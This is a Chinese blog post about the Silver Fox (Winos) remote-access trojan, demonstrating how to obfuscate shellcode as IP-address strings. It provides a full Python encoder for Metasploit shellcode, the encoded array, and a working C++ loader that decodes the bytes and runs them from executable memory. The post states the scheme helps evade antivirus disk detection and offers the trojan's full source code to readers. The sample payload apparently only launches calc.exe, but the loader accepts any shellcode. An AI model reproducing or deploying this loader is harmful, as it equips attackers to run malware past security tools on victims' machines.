大数跨境
0
0

银狐ShellCode混淆怪招

银狐ShellCode混淆怪招 CppGuide
2025-12-29
2

由于工作需要,又重新捡起了安全工程方面的知识。

最近一直在学习银狐远控代码,在银狐中很多源代码作者并没有直接提供,而是提供了难懂的Shellcode,例如主控的日志进程,就是直接加载的日志进程代码转换后的Shellcode,这样大大减少了源码泄漏的概率。不得不说,C/C++代码转成Shellcode功能一样,但是读懂真需要一定的知识储备。

银狐源码获取见下文。

特别申明:

本文内容仅限于用作技术交流,请勿使用本文介绍的技术做任何其他用途,否则后果自负,与本号无关。

图片



由于上周末比较忙,没时间写啥深度的文章,今天就暂且水一篇吧。

本文主要内容是,介绍一种shellcode混淆机制。在本文中,我们将探讨如何对shellcode进行编码,使其看起来像IP地址

编码器

可以使用Python将Metasploit生成的shellcode转换为看起来像IP地址的形式:

import argparse 
 
def pad_bytes(byte_array):
    length = len(byte_array)
    padding = (4 - length % 4) % 4
    padded_byte_array = byte_array + b'\x00' * padding
    return padded_byte_array

def main():
    parser = argparse.ArgumentParser(description='Process shellcode.')
    parser.add_argument('--shellcode'help='Filename containing raw shellcode')

    args = parser.parse_args()
    file_path = args.shellcode

    if file_path:
        print(f"[+] Encoding shellcode {file_path}")
    else:
        print("Please provide --shellcode argument.")
        exit()

    try:
        with open(file_path, 'rb') as file:
            file_bytes = file.read()
    except FileNotFoundError:
        print("[ERROR] File not found or cannot be opened.")
        exit()

    padded_byte_array = pad_bytes(file_bytes)
    ip_shellcode = ""

    print("std::string ips[] = {",end="")

    for i, sc_byte in enumerate(padded_byte_array):
        if (i) % 4 == 0:
            ip_shellcode += '"'
        ip_shellcode += str(sc_byte)
        if (i + 1) % 4 == 0:
            ip_shellcode += '",'
        else:
            ip_shellcode += "."

    print(ip_shellcode[:-1],end="")
    print("};")

if __name__ == "__main__":
    main()

输出如下,这些输出随后可以导入到我们的C++ shellcode运行器中。

std::string ips[] = {"252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0"};

执行shellcode

以下C++代码可用于对Shellcode进行解码和执行Shellcode代码。

#include <Windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>

std::string ips[] = { "252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0" };

std::vector<BYTE> convertIPsToByteArray(const std::string ips[], size_t count) {
    std::vector<BYTE> byteArrays;

    for (size_t i = 0; i < count; ++i) {
        std::string ip = ips[i];
        std::string octet;

        for (char c : ip) {
            if (c == '.') {
                byteArrays.push_back(static_cast<BYTE>(std::stoi(octet)));
                octet.clear();
            }
            else {
                octet += c;
            }
        }
        byteArrays.push_back(static_cast<BYTE>(std::stoi(octet))); // Last octet
    }

    return byteArrays;
}


int main() {

    size_t count = sizeof(ips) / sizeof(ips[0]);
    std::vector<BYTE> shellcode = convertIPsToByteArray(ips, count);


    std::cout << "Executing bytes...\n";
    for (const auto& byteArray : shellcode) {
        std::cout << " 0x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray);
    }

    std::size_t vectorSize = shellcode.size();
    char* buffer = static_cast<char*>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));

    memcpy(buffer, shellcode.data(), vectorSize);

    void (*function)();
    function = reinterpret_cast<void (*)()>(buffer);
    function();

    return 0;
}

小结

经测试,这种编码方案虽然不会显著改变最终的可执行文件的熵值,但有助于规避一定的磁盘检测。

好啦,今天的分享就到这啦。


源码获取

如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:

关注后回复【winos】即可获取源码


推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题
银狐远控代码中差异屏幕bug修复
银狐远程屏幕内存优化方法探究
银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

银狐远控一键编译调试与开发教程

银狐远控免杀与shellcode修复思路分析 01

【声明】内容源于网络
0
0
CppGuide
专注于高质量高性能C++开发,站点:cppguide.cn
内容 981
粉丝 0
CppGuide 专注于高质量高性能C++开发,站点:cppguide.cn
总阅读2
粉丝0
内容981